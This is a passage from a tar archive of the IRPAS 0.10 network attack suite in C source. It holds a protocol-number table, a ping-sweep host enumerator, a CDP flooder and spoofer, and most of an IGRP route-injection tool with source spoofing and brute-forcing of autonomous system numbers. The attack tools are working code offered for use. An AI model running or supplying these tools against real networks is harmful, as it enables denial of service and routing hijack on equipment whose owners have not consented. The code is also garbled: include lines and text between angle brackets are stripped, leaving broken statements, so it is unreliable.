[WXC]"}, {38,"IDPR-CMTP","IDPR Control Message Transport Proto [MXS1]"}, {39,"TP++","TP++ Transport Protocol [DXF]"}, {40,"IL","IL Transport Protocol [Presotto]"}, {41,"IPv6","Ipv6 [Deering]"}, {42,"SDRP","Source Demand Routing Protocol [DXE1]"}, {43,"IPv6-Route","Routing Header for IPv6 [Deering]"}, {44,"IPv6-Frag","Fragment Header for IPv6 [Deering]"}, {45,"IDRP","Inter-Domain Routing Protocol [Sue Hares]"}, {46,"RSVP","Reservation Protocol [Bob Braden]"}, {47,"GRE","General Routing Encapsulation [Tony Li]"}, {48,"MHRP","Mobile Host Routing Protocol[David Johnson]"}, {49,"BNA","BNA [Gary Salamon]"}, {50,"ESP","Encap Security Payload for IPv6 [RFC1827]"}, {51,"AH","Authentication Header for IPv6 [RFC1826]"}, {52,"I-NLSP","Integrated Net Layer Security TUBA [GLENN]"}, {53,"SWIPE","IP with Encryption [JI6]"}, {54,"NARP","NBMA Address Resolution Protocol [RFC1735]"}, {55,"MOBILE","IP Mobility [Perkins]"}, {56,"TLSP","Transport Layer Security Protocol [Oberg]"}, {57,"SKIP","SKIP [Markson]"}, {58,"IPv6-ICMP","ICMP for IPv6 [RFC1883]"}, {59,"IPv6-NoNxt","No Next Header for IPv6 [RFC1883]"}, {60,"IPv6-Opts","Destination Options for IPv6 [RFC1883]"}, {61,"61","any host internal protocol [IANA]"}, {62,"CFTP","CFTP [CFTP,HCF2]"}, {63,"63","any local network [IANA]"}, {64,"SAT-EXPAK","SATNET and Backroom EXPAK [SHB]"}, {65,"KRYPTOLAN","Kryptolan [PXL1]"}, {66,"RVD","MIT Remote Virtual Disk Protocol [MBG]"}, {67,"IPPC","Internet Pluribus Packet Core [SHB]"}, {68,"68","any distributed file system [IANA]"}, {69,"SAT-MON","SATNET Monitoring [SHB]"}, {70,"VISA","VISA Protocol [GXT1]"}, {71,"IPCV","Internet Packet Core Utility [SHB]"}, {72,"CPNX","Computer Protocol Network Executive [DXM2]"}, {73,"CPHB","Computer Protocol Heart Beat [DXM2]"}, {74,"WSN","Wang Span Network [VXD]"}, {75,"PVP","Packet Video Protocol [SC3]"}, {76,"BR-SAT-MON","Backroom SATNET Monitoring [SHB]"}, {77,"SUN-ND","SUN ND PROTOCOL-Temporary [WM3]"}, {78,"WB-MON","WIDEBAND Monitoring [SHB]"}, {79,"WB-EXPAK","WIDEBAND EXPAK [SHB]"}, {80,"ISO-IP","ISO Internet Protocol [MTR]"}, {81,"VMTP","VMTP [DRC3]"}, {82,"SECURE-VMTP","SECURE-VMTP [DRC3]"}, {83,"VINES","VINES [BXH]"}, {84,"TTP","TTP [JXS]"}, {85,"NSFNET-IGP","NSFNET-IGP [HWB]"}, {86,"DGP","Dissimilar Gateway Protocol [DGP,ML109]"}, {87,"TCF","TCF [GAL5]"}, {88,"EIGRP","EIGRP [CISCO,GXS]"}, {89,"OSPFIGP","OSPFIGP [RFC1583,JTM4]"}, {90,"Sprite-RPC","Sprite RPC Protocol [SPRITE,BXW]"}, {91,"LARP","Locus Address Resolution Protocol [BXH]"}, {92,"MTP","Multicast Transport Protocol [SXA]"}, {93,"AX.25","AX.25 Frames [BK29]"}, {94,"IPIP","IP-within-IP Encapsulation Protocol [JI6]"}, {95,"MICP","Mobile Internetworking Control Pro. [JI6]"}, {96,"SCC-SP","Semaphore Communications Sec. Pro. [HXH]"}, {97,"ETHERIP","Ethernet-within-IP Encapsulation [RDH1]"}, {98,"ENCAP","Encapsulation Header [RFC1241,RXB3]"}, {99,"99PrivEncr","any private encryption scheme [IANA]"}, {100,"GMTP","GMTP [RXB5]"}, {101,"IFMP","Ipsilon Flow Management Protocol [Hinden]"}, {102,"PNNI","PNNI over IP [Callon]"}, {103,"PIM","Protocol Independent Multicast [Farinacci]"}, {104,"ARIS","ARIS [Feldman]"}, {105,"SCPS","SCPS [Durst]"}, {106,"QNX","QNX [Hunter]"}, {107,"A/N","Active Networks [Braden]"}, {108,"IPComp","IP Payload Compression Protocol [RFC2393]"}, {109,"SNP","Sitara Networks Protocol [Sridhar]"}, {110,"Compaq-Peer","Compaq Peer Protocol [Volpe]"}, {111,"IPX-in-IP","IPX in IP [Lee]"}, {112,"VRRP","Virtual Router Redundancy Protocol [Hinden]"}, {115,"L2TP","Layer Two Tunneling Protocol [Aboba]"}, {116,"DDX","D-II Data Exchange (DDX) [Worley]"}, {117,"IATP","Interactive Agent Transfer Protocol [Murphy]"}, {118,"STP","Schedule Transfer Protocol [JMP]"}, {119,"SRP","SpectraLink Radio Protocol [Hamilton]"}, {120,"UTI","UTI [Lothberg]"}, {121,"SMP","Simple Message Protocol [Ekblad]"}, {122,"SM","SM [Crowcroft]"}, {123,"PTP","Performance Transparency Protocol [Welzl]"}, {124,"ISIS over IPv4","[Przygienda]"}, {125,"FIRE","[Partridge]"}, {126,"CRTP","Combat Radio Transport Protocol [Sautter]"}, {127,"CRUDP","Combat Radio User Datagram [Sautter]"}, {128,"SSCOPMCE","[Waber]"}, {129,"IPLT","[Hollbach]"}, {130,"SPS","Secure Packet Shield [McIntosh]"}, {131,"PIPE","Private IP Encapsulation within IP [Petri]"}, {132,"SCTP","Stream Control Transmission Protocol [Stewart]"}, {133,"FC","Fibre Channel [Rajagopal]"}, {134,"134","[IANA]"}, {135,"135","[IANA]"}, {136,"136","[IANA]"}, {137,"137","[IANA]"}, {138,"138","[IANA]"}, {139,"139","[IANA]"}, {140,"140","[IANA]"}, {141,"141","[IANA]"}, {142,"142","[IANA]"}, {143,"143","[IANA]"}, {144,"144","[IANA]"}, {145,"145","[IANA]"}, {146,"146","[IANA]"}, {147,"147","[IANA]"}, {148,"148","[IANA]"}, {149,"149","[IANA]"}, {150,"150","[IANA]"}, {151,"151","[IANA]"}, {152,"152","[IANA]"}, {153,"153","[IANA]"}, {154,"154","[IANA]"}, {155,"155","[IANA]"}, {156,"156","[IANA]"}, {157,"157","[IANA]"}, {158,"158","[IANA]"}, {159,"159","[IANA]"}, {160,"160","[IANA]"}, {161,"161","[IANA]"}, {162,"162","[IANA]"}, {163,"163","[IANA]"}, {164,"164","[IANA]"}, {165,"165","[IANA]"}, {166,"166","[IANA]"}, {167,"167","[IANA]"}, {168,"168","[IANA]"}, {169,"169","[IANA]"}, {170,"170","[IANA]"}, {171,"171","[IANA]"}, {172,"172","[IANA]"}, {173,"173","[IANA]"}, {174,"174","[IANA]"}, {175,"175","[IANA]"}, {176,"176","[IANA]"}, {177,"177","[IANA]"}, {178,"178","[IANA]"}, {179,"179","[IANA]"}, {180,"180","[IANA]"}, {181,"181","[IANA]"}, {182,"182","[IANA]"}, {183,"183","[IANA]"}, {184,"184","[IANA]"}, {185,"185","[IANA]"}, {186,"186","[IANA]"}, {187,"187","[IANA]"}, {188,"188","[IANA]"}, {189,"189","[IANA]"}, {190,"190","[IANA]"}, {191,"191","[IANA]"}, {192,"192","[IANA]"}, {193,"193","[IANA]"}, {194,"194","[IANA]"}, {195,"195","[IANA]"}, {196,"196","[IANA]"}, {197,"197","[IANA]"}, {198,"198","[IANA]"}, {199,"199","[IANA]"}, {200,"200","[IANA]"}, {201,"201","[IANA]"}, {202,"202","[IANA]"}, {203,"203","[IANA]"}, {204,"204","[IANA]"}, {205,"205","[IANA]"}, {206,"206","[IANA]"}, {207,"207","[IANA]"}, {208,"208","[IANA]"}, {209,"209","[IANA]"}, {210,"210","[IANA]"}, {211,"211","[IANA]"}, {212,"212","[IANA]"}, {213,"213","[IANA]"}, {214,"214","[IANA]"}, {215,"215","[IANA]"}, {216,"216","[IANA]"}, {217,"217","[IANA]"}, {218,"218","[IANA]"}, {219,"219","[IANA]"}, {220,"220","[IANA]"}, {221,"221","[IANA]"}, {222,"222","[IANA]"}, {223,"223","[IANA]"}, {224,"224","[IANA]"}, {225,"225","[IANA]"}, {226,"226","[IANA]"}, {227,"227","[IANA]"}, {228,"228","[IANA]"}, {229,"229","[IANA]"}, {230,"230","[IANA]"}, {231,"231","[IANA]"}, {232,"232","[IANA]"}, {233,"233","[IANA]"}, {234,"234","[IANA]"}, {235,"235","[IANA]"}, {236,"236","[IANA]"}, {237,"237","[IANA]"}, {238,"238","[IANA]"}, {239,"239","[IANA]"}, {240,"240","[IANA]"}, {241,"241","[IANA]"}, {242,"242","[IANA]"}, {243,"243","[IANA]"}, {244,"244","[IANA]"}, {245,"245","[IANA]"}, {246,"246","[IANA]"}, {247,"247","[IANA]"}, {248,"248","[IANA]"}, {249,"249","[IANA]"}, {250,"250","[IANA]"}, {251,"251","[IANA]"}, {252,"252","[IANA]"}, {253,"253","[IANA]"}, {254,"254","[IANA]"}, {255,"255","Reserved [IANA]"}, {0,NULL,NULL} }; #endif _PROTOCOL_NUMBERS_H_ irpas-0.10/enum.c0100644000175000017500000001575607364600755012071 0ustar vlmvlm/* ICMP enum for libpackets * * $Id: enum.c,v 1.2 2001/06/16 18:17:31 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include enum_target_t *enum_anchor; void enum_free() { enum_target_t *c,*c2; if ((c=enum_anchor)==NULL) return; while (c!=NULL) { c2=c; c=c->next; free(c2); } } int enum_known(struct in_addr *addr) { enum_target_t *c; if ((c=enum_anchor)==NULL) return 0; while (c!=NULL) { if (memcmp(&(c->addr),addr,4)==0) return 1; c=c->next; } return 0; } int enum_print() { enum_target_t *c; if ((c=enum_anchor)==NULL) return 0; while (c!=NULL) { printf("%s\n",inet_ntoa(c->addr)); c=c->next; } return 0; } /* returns the number of valid targets or -1 on error * * dest is the destination in one of the following notations * - FQDN (www.targets.com) * - IP-Address (192.168.1.1) * - IP/Netmask (192.168.1.0/255.255.255.0) * - IP/BitMask (192.168.1.0/24) * ping is 0 for not pinging et al * if >0 then is the number of seconds timeout * verbose is 0 for silence or >0 for verbosity */ int enumerate(char *dest,int ping,int verbose) { int sfd; enum_target_t *current,*new; u_int32_t tnet,tnet2,l; char *tp,*tp2; struct in_addr n,m,mm; unsigned long int t1; int ping_retransmit; unsigned int number_of_targets=0; /* number of pings on multiple targets */ #define PING_ROUND 3 enum_free(); enum_anchor=NULL; /* if the destination contains a / it is assumed to be a network/mask * notation - eiter dotted mask or bits */ if (!strchr(dest,'/')) { if (inet_aton(dest,&n)==0) { struct hostent *hd; /* destination not IP address - try to resolve it */ if ((hd=gethostbyname(dest))==NULL) { if (verbose) fprintf(stderr,"Could not resolve destination host '%s'\n", dest); return (-1); } else { bcopy(hd->h_addr,(char *)&(n),hd->h_length); } } if (ping) { if (icmp_ping(&(n),ping,verbose)!=0) { if (verbose) fprintf(stderr,"single target not responding\n"); return (-1); } } /* this is just one */ enum_anchor=smalloc(sizeof(enum_target_t)); memcpy(&(enum_anchor->addr),&(n),sizeof(struct in_addr)); number_of_targets=1; } else { /* assumption: these are mutiple targets */ u_int32_t q = 0xFFFFFFFF; int lx1,lx2; /* multiple targets .... * first, we have to figure out where ... */ tp=smalloc(strlen(dest)+1); strcpy(tp,dest); tp2=strchr(tp,'/'); tp2[0]='\0'; tp2++; if (!strchr(tp2,'.')) { lx1=atoi(tp2); for (lx2=32;lx2>lx1;lx2--) q=q<<1; q=htonl(q); memcpy(&(m.s_addr),&q,4); if (verbose>2) printf("\tNetmask: %s\n",inet_ntoa(m)); } else { if (inet_aton(tp2,&m)==0) { if (verbose) fprintf(stderr,"%s seems to be a stange mask\n",tp2); return (-1); } } memcpy(&mm,&m,sizeof(m)); /* network part must resulve as dotted */ if (inet_aton(tp,&n)==0) { fprintf(stderr,"%s seems to be a stange network address\n",tp); return (-1); } /* calculate first and last address. */ tnet = ntohl( n.s_addr&m.s_addr ); tnet2= ntohl( (m.s_addr^0xFFFFFFFF)|n.s_addr ); /* show addresses we are going to scan */ if (verbose>1) { n.s_addr=htonl(tnet); m.s_addr=htonl(tnet2); printf("Targeting from %s ",inet_ntoa(n)); printf("to %s\n",inet_ntoa(m)); } /* add the records to the target list */ t1=(unsigned long int)time(NULL); ping_retransmit=0; l=tnet; current=NULL; if (ping) { /* from here on you need r00t perms */ if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { if (verbose) perror("socket()"); return(-1); } if (makebcast(sfd)!=0) return(-1); makenonblock(sfd); while ( (unsigned long int)time(NULL)<(t1+ping) ) { struct sockaddr_in sin,fromaddr; u_char *tpacket; icmp_ping_t *pingh; int psize; u_int16_t pident; int rc,addrsize; psize=sizeof(icmp_ping_t); tpacket=(u_char *)smalloc(sizeof(icmp_ping_t)+64); pident=0xAF0D; /* make up the icmp header */ pingh=(icmp_ping_t *)tpacket; pingh->icmp.type=ICMP_ECHO; pingh->icmp.code=0; pingh->echo.identifier=htons(pident); pingh->icmp.checksum=chksum((u_char *)pingh,psize); memset(&sin,0,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; sin.sin_port=htons(0); if (ping_retransmittnet2) { l=tnet; ping_retransmit++; if (verbose>1) printf("ping round is at %d\n", ping_retransmit); } n.s_addr=htonl(l); usleep(10000); if (ping_retransmit=0) { pingh=(icmp_ping_t *)(tpacket+sizeof(iphdr_t)); if (pingh->icmp.type==ICMP_ECHOREPLY) { if (ntohs(pingh->echo.identifier)==pident) { /* normal response */ if (verbose>1) printf("%s respond ... good\n", inet_ntoa(fromaddr.sin_addr)); if ( /* same network check */ (n.s_addr&mm.s_addr)== (fromaddr.sin_addr.s_addr&mm.s_addr) ) { /* add the record of who respond */ if (enum_known(&(fromaddr.sin_addr))==0) { new=current; current=smalloc(sizeof(enum_target_t)); memcpy(&(current->addr), &(fromaddr.sin_addr), sizeof(struct in_addr)); if (new==NULL) { new=current; } else { new->next=current; } if (enum_anchor==NULL) { enum_anchor=current; } number_of_targets++; } /* enum_known check */ } /* same network */ else { if (verbose>1) printf("echo reply from system" " outside range (%s)\n", inet_ntoa(fromaddr.sin_addr)); } /* not same network */ } /* ping ID */ } /* end of echo reply */ } /* end of packet found */ } /* while time */ } /* if ping */ else { /* no network activity - just add them */ for (l=tnet;l<=tnet2;l++) { n.s_addr=htonl(l); new=current; current=smalloc(sizeof(enum_target_t)); memcpy(&(current->addr), &(n), sizeof(struct in_addr)); if (new==NULL) { new=current; } else { new->next=current; } if (enum_anchor==NULL) { enum_anchor=current; } number_of_targets++; } } close(sfd); } /* if more then one */ if (enum_anchor==NULL) return(-1); return number_of_targets; } irpas-0.10/enum.h0100644000175000017500000000064007364600756012061 0ustar vlmvlm/* ICMP enumeration for libpackets * * $Id: enum.h,v 1.3 2001/07/03 20:00:10 fx Exp $ * */ #ifndef _ENUM_H_ #define _ENUM_H_ #include typedef struct { struct in_addr addr; void *next; } enum_target_t; extern enum_target_t *enum_anchor; int enumerate(char *dest,int ping,int verbose); int enum_known(struct in_addr *addr); int enum_print(void); void enum_free(void); #endif _ENUM_H_ irpas-0.10/cdp.c0100644000175000017500000003052607364600755011663 0ustar vlmvlm/* CDP sender/flooder * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k * * $Id: cdp.c,v 1.9 2001/06/16 18:17:31 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include /* my stuff instead of libpacket */ #include "protocols.h" #include "packets.h" #define IP_ALEN IP_ADDR_LEN /* my config */ #define DEFAULT_NUMBER 100; #define DEFAULT_LENGTH 1400; struct { char *device; int verbose; int mode; /* flood mode */ unsigned long number; int length; char floodchar; int floodrandom; /* spoof mode */ char *S_devname; char *S_portid; char *S_software; char *S_platform; char *S_capas; struct in_addr S_ipaddr; } cfg; /* globals */ u_char CDP_DEST[6] = {0x1,0x0,0xC,0xCC,0xCC,0xCC}; int atsock; /* attack socket */ #define CDP_FRAME_SIZE 1700 u_char cdpframe[CDP_FRAME_SIZE]; /* prototypes */ unsigned int mk_flood_cdp(char *my_name,int nlen); unsigned int mk_spoof_cdp(void); void usage(char *n); /* ******************* MAIN ******************** */ int main(int argc,char **argv) { char option; extern char *optarg; unsigned int plen; unsigned int i; /* for flooding */ int j; char *devname; struct timespec sleeper = {0,10000}; memset(&cfg,0,sizeof(cfg)); while ((option=getopt(argc,argv,"vi:n:l:m:c:rD:P:C:L:S:F:"))!=EOF) { switch (option) { /* general */ case 'v': cfg.verbose++; break; case 'i': cfg.device=smalloc(strlen(optarg)); strcpy(cfg.device,optarg); break; case 'm': cfg.mode=atol(optarg); if (cfg.mode==0) printf("Running in flood mode\n"); else if (cfg.mode==1) printf("Running in spoof mode\n"); else { printf("Mode should be 0 or 1\n"); exit(1); } break; /* flood mode */ case 'n': if ((cfg.number=atol(optarg))<=0) { fprintf(stderr,"This number is bullshit\n"); exit(1); } break; case 'l': if ((cfg.length=atol(optarg))<=0) { fprintf(stderr, "This length is bullshit\n"); exit(1); } break; case 'c': cfg.floodchar=optarg[0]; break; case 'r': cfg.floodrandom++; break; /* Spoof mode */ case 'D': cfg.S_devname=(char *)smalloc(strlen(optarg)+1); strcpy(cfg.S_devname,optarg); break; case 'P': cfg.S_portid=(char *)smalloc(strlen(optarg)+1); strcpy(cfg.S_portid,optarg); break; case 'C': cfg.S_capas=(char *)smalloc(strlen(optarg)+1); strcpy(cfg.S_capas,optarg); break; case 'L': cfg.S_platform=(char *)smalloc(strlen(optarg)+1); strcpy(cfg.S_platform,optarg); break; case 'S': cfg.S_software=(char *)smalloc(strlen(optarg)+1); strcpy(cfg.S_software,optarg); break; case 'F': if (!inet_aton(optarg,&(cfg.S_ipaddr))) { fprintf(stderr,"source IP is invalid\n"); exit (1); } break; /* fallback */ default: usage(argv[0]); } } if (!cfg.device) usage(argv[0]); /* check command line */ if (cfg.number==0) cfg.number=DEFAULT_NUMBER; if (cfg.length==0) cfg.length=DEFAULT_LENGTH; if (cfg.floodchar=='\0') cfg.floodchar='A'; if (cfg.mode==0) { /* ******************* FLOOD MODE ***************** */ devname=(char *)smalloc(cfg.length); if ((atsock=init_socket_eth(cfg.device))<=0) exit(1); srand((unsigned int)time(NULL)); for (i=0;isaddr),&ea,ETH_ALEN); memcpy(&(ethh->daddr),&CDP_DEST,ETH_ALEN); ethh->length=0; /* assigned later */ /* build LLC header */ llc=(struct eth_LLC *)(cdpframe+sizeof(struct eth_ieee802_3)); llc->DSAP=0xAA; llc->SSAP=0xAA; llc->Control=0x03; /* unnumbered */ llc->orgcode[0]=llc->orgcode[1]=0x00; llc->orgcode[2]=0x0c; /* cisco */ llc->proto=htons(0x2000); /* build cdp header */ cdph=(struct cdphdr *)((void*)llc+sizeof(struct eth_LLC)); cdph->version=0x01; cdph->ttl=255; /* in seconds */ cdph->checksum=0x0000; /* will be computed later */ /* make a device entry */ cdp_dev=(struct cdp_device *)((void *)cdph+sizeof(struct cdphdr)); cdp_dev->type=htons(TYPE_DEVICE_ID); /* 0x0001 */ cdp_dev->length=htons(nlen+2*sizeof(u_int16_t)); memcpy(&(cdp_dev->device),my_name,nlen); /* make CDP port entry */ cdp_prt=(struct cdp_port *)((void *)cdp_dev+( sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ + nlen)); cdp_prt->type=htons(TYPE_PORT_ID); cdp_prt->length=htons(strlen(my_portid)+2*sizeof(u_int16_t)); memcpy(&(cdp_prt->port),&my_portid,strlen(my_portid)); cdp_end=(void *)(((void *)cdp_prt+( sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ + strlen(my_portid)))); ethh->length=htons((unsigned int)((void *)cdp_end-(void *)llc)); cs=chksum((u_char *)cdph,((void *)cdp_end-(void *)cdph)); if (cfg.verbose>2) printf("My checksum is %04X\n",cs); cdph->checksum=cs; return ((void *)cdp_end-(void *)&cdpframe[0]); } unsigned int mk_spoof_cdp() { struct eth_ieee802_3 *ethh; struct eth_LLC *llc; struct cdphdr *cdph; struct cdp_device *cdp_dev; struct cdp_address *cdp_addr; struct cdp_address_entry *cdp_ae; struct cdp_port *cdp_prt; struct cdp_capabilities *cdp_caps; struct cdp_software *cdp_soft; struct cdp_platform *cdp_plt; u_char *cdp_end; u_int16_t cs; memset(&cdpframe,0,sizeof(cdpframe)); /* make IEEE 802.3 header */ ethh=(struct eth_ieee802_3 *)cdpframe; memcpy(&(ethh->saddr),&(packet_ifconfig.eth),ETH_ALEN); memcpy(&(ethh->daddr),&CDP_DEST,ETH_ALEN); ethh->length=0; /* assigned later */ /* build LLC header */ llc=(struct eth_LLC *)(cdpframe+sizeof(struct eth_ieee802_3)); llc->DSAP=0xAA; llc->SSAP=0xAA; llc->Control=0x03; /* unnumbered */ llc->orgcode[0]=llc->orgcode[1]=0x00; llc->orgcode[2]=0x0c; /* cisco */ llc->proto=htons(0x2000); /* build cdp header */ cdph=(struct cdphdr *)((void*)llc+sizeof(struct eth_LLC)); cdph->version=0x01; cdph->ttl=255; /* in seconds */ cdph->checksum=0x0000; /* should be computed */ /* make a device entry */ cdp_dev=(struct cdp_device *)((void *)cdph+sizeof(struct cdphdr)); cdp_dev->type=htons(TYPE_DEVICE_ID); /* 0x0001 */ cdp_dev->length=htons(strlen(cfg.S_devname)+2*sizeof(u_int16_t)); memcpy(&(cdp_dev->device),cfg.S_devname,strlen(cfg.S_devname)); /* make an address entry */ cdp_addr=(struct cdp_address *)((void *)cdp_dev+( sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ + strlen(cfg.S_devname))); cdp_addr->type=htons(TYPE_ADDRESS); cdp_addr->length=htons( /* address record */ /* address entry */ /*size of IPaddr-1 */ sizeof(struct cdp_address)+sizeof(struct cdp_address_entry)+3); cdp_addr->number=htonl(0x00000001); /* insert our address */ cdp_ae=(struct cdp_address_entry *)((void *)cdp_addr+sizeof(struct cdp_address)); cdp_ae->proto_type=0x01; cdp_ae->length=0x01; cdp_ae->proto=0xCC; /* IPv4 */ cdp_ae->addrlen[1]=0x04; memcpy(&(cdp_ae->addr),&(cfg.S_ipaddr),IP_ALEN); /* make CDP port entry */ cdp_prt=(struct cdp_port *)((void *)cdp_ae+ (sizeof (struct cdp_address_entry)+3)); /* for IP fields */ cdp_prt->type=htons(TYPE_PORT_ID); cdp_prt->length=htons(strlen(cfg.S_portid)+2*sizeof(u_int16_t)); memcpy(&(cdp_prt->port),cfg.S_portid,strlen(cfg.S_portid)); /* make CDP capabilities entry */ cdp_caps=(struct cdp_capabilities *)((void *)cdp_prt+( sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ + strlen(cfg.S_portid))); cdp_caps->type=htons(TYPE_CAPABILITIES); cdp_caps->length=htons(0x0008); /* I'm sorry, this is lazy and not very elegant but it works * and at the moment, nothing else comes to my mind ... */ cdp_caps->capab=0; if (strchr(cfg.S_capas,'R')) cdp_caps->capab=CDP_CAP_LEVEL3_ROUTER; if (strchr(cfg.S_capas,'T')) cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_TRBR; if (strchr(cfg.S_capas,'B')) cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_SRB; if (strchr(cfg.S_capas,'S')) cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_SWITCH; if (strchr(cfg.S_capas,'H')) cdp_caps->capab=cdp_caps->capab | CDP_CAP_NETWORK_LAYER; if (strchr(cfg.S_capas,'I')) cdp_caps->capab=cdp_caps->capab | CDP_CAP_FORWARD_IGMP; if (strchr(cfg.S_capas,'r')) cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL1; cdp_caps->capab=htonl(cdp_caps->capab); /* make CDP software version */ cdp_soft=(struct cdp_software *)((void *)cdp_caps+ sizeof(struct cdp_capabilities)); cdp_soft->type=htons(TYPE_IOS_VERSION); cdp_soft->length=htons(strlen(cfg.S_software)+2*sizeof(u_int16_t)); memcpy(&(cdp_soft->software),cfg.S_software,strlen(cfg.S_software)); /* make CDP platform */ cdp_plt=(struct cdp_platform *)((void *)cdp_soft+( sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ + strlen(cfg.S_software))); cdp_plt->type=htons(TYPE_PLATFORM); cdp_plt->length=htons(strlen(cfg.S_platform)+2*sizeof(u_int16_t)); memcpy(&(cdp_plt->platform),cfg.S_platform,strlen(cfg.S_platform)); cdp_end=(u_char *)((void *)cdp_plt+( sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ + strlen(cfg.S_platform))); ethh->length=htons((unsigned int)((void *)cdp_end-(void *)llc)); cs=chksum((u_char *)cdph,((void *)cdp_end-(void *)cdph)); if (cfg.verbose>2) printf("My checksum is %04X\n",cs); cdph->checksum=cs; return ((void *)cdp_end-(void *)&cdpframe[0]); } void usage(char *n) { printf( "%s [-v] -i -m {0,1} ...\n" "\n" "Flood mode (-m 0):\n" "-n \tnumber of packets\n" "-l \tlength of the device id\n" "-c \tcharacter to fill in device id\n" "-r\t\trandomize device id string\n" "\n" "Spoof mode (-m 1):\n" "-D \tDevice id\n" "-P \tPort id\n" "-L \tPlatform\n" "-S \tSoftware\n" "-F \tIP address\n" "-C \n" "\tthese are:\n" "\tR - Router, T - Trans Bridge, B - Source Route Bridge\n" "\tS - Switch, H - Host, I - IGMP, r - Repeater\n", n); exit(0); } irpas-0.10/igrp.c0100644000175000017500000002511707364600755012056 0ustar vlmvlm/* IGRP * * FX * Phenoelit (http://www.phenoelit.de) * (c) 2k * * $Id: igrp.c,v 1.10 2000/09/26 09:21:06 fx Exp $ */ #include #include #include #include #include #include #include #include #include #include #include #include #include /* for IPPROTO_bla consts */ #include #include /* to get my own ETH addr */ #include #include "protocols.h" #include "packets.h" /* definitions */ #define MAX_ROUTES 1000 #define MAX_LINE 256 #define DELIMITER ':' #define IP_ADDR_LEN 4 #define IP_IGRP_TTL 0x80 #define IPPROTO_IGRP 0x09 #define IP_BCAST "255.255.255.255" /* config */ struct { int verbose; char *device; char *routesfile; int autosys; int asysbf; int spoof_src; struct in_addr src; int set_dest; struct in_addr dest; } cfg; /************************************ * globals */ u_char *rawpacket; int atsock; igrp_system_entry_t routes[MAX_ROUTES]; int routesc; /************************************ * prototypes */ void usage(char *n); void send_table(int autosys); /* routes management */ int read_routing_table(char *fname); void print_routing_table(void); /* IGRP construction */ u_char *construct_igrp(int from, int to, u_int16_t autosys, int *psize); /* the main function */ int main(int argc, char **argv) { char option; extern char *optarg; int bruteforce; memset(&cfg,0,sizeof(cfg)); while ((option=getopt(argc,argv,"vi:f:a:b:S:D:"))!=EOF) { switch (option) { case 'v': /* verbose */ cfg.verbose++; break; case 'i': /* local network device */ cfg.device=smalloc(strlen(optarg)+1); strcpy(cfg.device,optarg); break; case 'f': /* routes file */ cfg.routesfile=smalloc(strlen(optarg)+1); strcpy(cfg.routesfile,optarg); break; case 'a': /* autonomous system */ cfg.autosys=atoi(optarg); break; case 'b': /* brute force autonomous system */ cfg.asysbf=atoi(optarg); break; case 'S': /* spoof source */ if (inet_aton(optarg,&(cfg.src))==0) { fprintf(stderr, "source IP address seems to be wrong\n"); return (1); } cfg.spoof_src++; break; case 'D': /* set destination */ if (inet_aton(optarg,&(cfg.dest))==0) { fprintf(stderr, "dest. IP address seems to be wrong\n"); return (1); } cfg.set_dest++; break; default: usage(argv[0]); } } if (!(cfg.device&&cfg.routesfile)) usage(argv[0]); if ((cfg.autosys==0)&&(cfg.asysbf==0)) fprintf(stderr,"WARNING: running with autonomous system # = 0\n"); if (read_routing_table(cfg.routesfile)!=0) return (1); if (cfg.verbose) print_routing_table(); /* set up socket ... */ if ((atsock=init_socket_IP4(cfg.device,1))==(-1)) return(1); /* if spoofing is enabled, copy it */ if (!cfg.spoof_src) { memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN); } if (!cfg.asysbf) { /* if brute force is not requested, just send the table */ send_table(cfg.autosys); } else { /* brute force the autonomous system * beginning at cfg.autosys until cfg.asysbf */ printf("Brute force from autonomous system # %d to %d", cfg.autosys,cfg.asysbf); for (bruteforce=cfg.autosys; bruteforce<=cfg.asysbf; bruteforce++) { printf("."); fflush(stdout); send_table(bruteforce); } printf("Done\n"); } /* at the end of the day, close our socket */ close(atsock); return (0); } /********************** FUNCTIONS **********************/ void send_table(int autosys) { int plength; int i; int rtsize; /* check the size of the routing table ... */ if ( (sizeof(igrp_system_entry_t)*routesc +sizeof(igrp_t) +sizeof(iphdr_t) +sizeof(struct ether_header)) > /*MTU*/1500) { printf("Routing table size (%d octets) is to large for one packet\n" "Splitting up ...\n", sizeof(igrp_system_entry_t)*routesc); /* split up the table in chunks that can be send through eth */ rtsize= ( packet_ifconfig.mtu-sizeof(igrp_t)-sizeof(iphdr_t) -sizeof(struct ether_header)-1) / sizeof(igrp_system_entry_t); if (cfg.verbose>1) printf("\t%d routes per packet ...\n",rtsize); for (i=0;iroutesc?routesc:i+rtsize, autosys,&plength))!=NULL) { if (cfg.verbose) printf("Packet sized %d octets is ready for delivery ...\n", plength); sendpack_IP4(atsock,rawpacket,plength); free(rawpacket); } } /* end of for */ } else { /* Routing table fits in one update packet */ if ((rawpacket= construct_igrp(0,routesc,autosys,&plength))!=NULL) { if (cfg.verbose) printf("Packet sized %d octets is ready for delivery ...\n", plength); sendpack_IP4(atsock,rawpacket,plength); free(rawpacket); } } } /* constructs the IGRP update packet * * Returns a pointer to the packet or NULL if failed * * returns also the size in *psize */ u_char *construct_igrp(int from, int to, u_int16_t autosys, int *psize) { u_char *tpacket; iphdr_t *iph; igrp_t *igrph; igrp_system_entry_t *sysh; u_int16_t cs; /* checksum */ int i; /* routes counter */ /* check what is called */ if (to>routesc) { fprintf(stderr,"Internal error: construct_igrp() called with " "out-of-range 'to'\n"); return NULL; } if ((to-from)<=0) { fprintf(stderr,"Internal error: construct_igrp() called with " "'from' > 'to'\n"); return NULL; } *psize=sizeof(igrp_system_entry_t)*(to-from)+ sizeof(igrp_t)+sizeof(iphdr_t); tpacket=(u_char 